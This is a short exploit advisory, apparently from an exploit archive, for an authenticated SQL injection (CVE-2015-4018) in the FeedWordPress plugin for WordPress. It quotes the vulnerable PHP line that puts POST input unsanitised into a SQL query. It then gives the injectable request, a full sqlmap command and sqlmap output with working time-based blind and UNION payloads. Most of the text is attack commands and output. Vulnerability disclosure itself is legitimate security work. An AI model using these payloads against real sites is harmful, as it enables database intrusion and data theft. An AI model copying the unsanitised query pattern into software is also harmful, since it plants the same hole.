WordPress FeedWordPress 2015.0426 SQL Injection

`# Exploit Title: SQLi in FeedWordPress WordPress plugin  
# Date: 2015-05-19  
# Exploit Author: Adrián M. F.  
# Vendor Homepage: https://wordpress.org/plugins/feedwordpress/  
# Vulnerable version: 2015.0426  
# Fixed version: 2015.0514  
# CVE : CVE-2015-4018  
  
  
(1) Authenticated SQLi [CWE-89]  
-------------------------------  
  
* CODE:  
feedwordpresssyndicationpage.class.php:89  
+++++++++++++++++++++++++++++++++++++++++  
$targets = $wpdb->get_results("  
SELECT * FROM $wpdb->links  
WHERE link_id IN (".implode(",",$_POST['link_ids']).")  
");  
+++++++++++++++++++++++++++++++++++++++++  
http://192.168.167.131/wordpress/wp-admin/admin.php?page=feedwordpress/syndication.php  
POST DATA: _wpnonce=a909681945&_wp_http_referer=/wordpress/wp-admin/admin.php?page=feedwordpress/syndication.php&action=Update Checked&link_ids[]=1[SQLi]  
  
* POC:  
SQLMap  
+++++++++++++++++++++++++++++++++++++++++  
./sqlmap.py -u "http://[domain]/wp-admin/admin.php?page=feedwordpress%2Fsyndication.php&visibility=Y" --data="_wpnonce=a909681945&_wp_http_referer=/wordpress/wp-admin/admin.php?page=feedwordpress/syndication.php&action=Update Checked&link_ids[]=1" -p "link_ids[]" --dbms mysql --cookie="[cookie]"  
[............]  
POST parameter 'link_ids[]' is vulnerable. Do you want to keep testing the others (if any)? [y/N]   
sqlmap identified the following injection points with a total of 62 HTTP(s) requests:  
---  
Parameter: link_ids[] (POST)  
Type: AND/OR time-based blind  
Title: MySQL >= 5.0.12 AND time-based blind (SELECT)  
Payload: _wpnonce=a909681945&_wp_http_referer=/wordpress/wp-admin/admin.php?page=feedwordpress/syndication.php&action=Update Checked&link_ids[]=1) AND (SELECT * FROM (SELECT(SLEEP(5)))eHWc) AND (7794=7794  
  
Type: UNION query  
Title: Generic UNION query (NULL) - 13 columns  
Payload: _wpnonce=a909681945&_wp_http_referer=/wordpress/wp-admin/admin.php?page=feedwordpress/syndication.php&action=Update Checked&link_ids[]=1) UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x716a6b6a71,0x70716153577975544373,0x7178716271)--   
---  
[10:40:14] [INFO] the back-end DBMS is MySQL  
web server operating system: Linux Debian 7.0 (wheezy)  
web application technology: Apache 2.2.22, PHP 5.4.39  
back-end DBMS: MySQL 5.0.12  
+++++++++++++++++++++++++++++++++++++++++  
  
Timeline  
========  
2015-05-09: Discovered vulnerability.  
2015-05-14: Vendor notification.  
2015-05-14: Vendor response and fix.  
2015-05-19: Public disclosure.  
`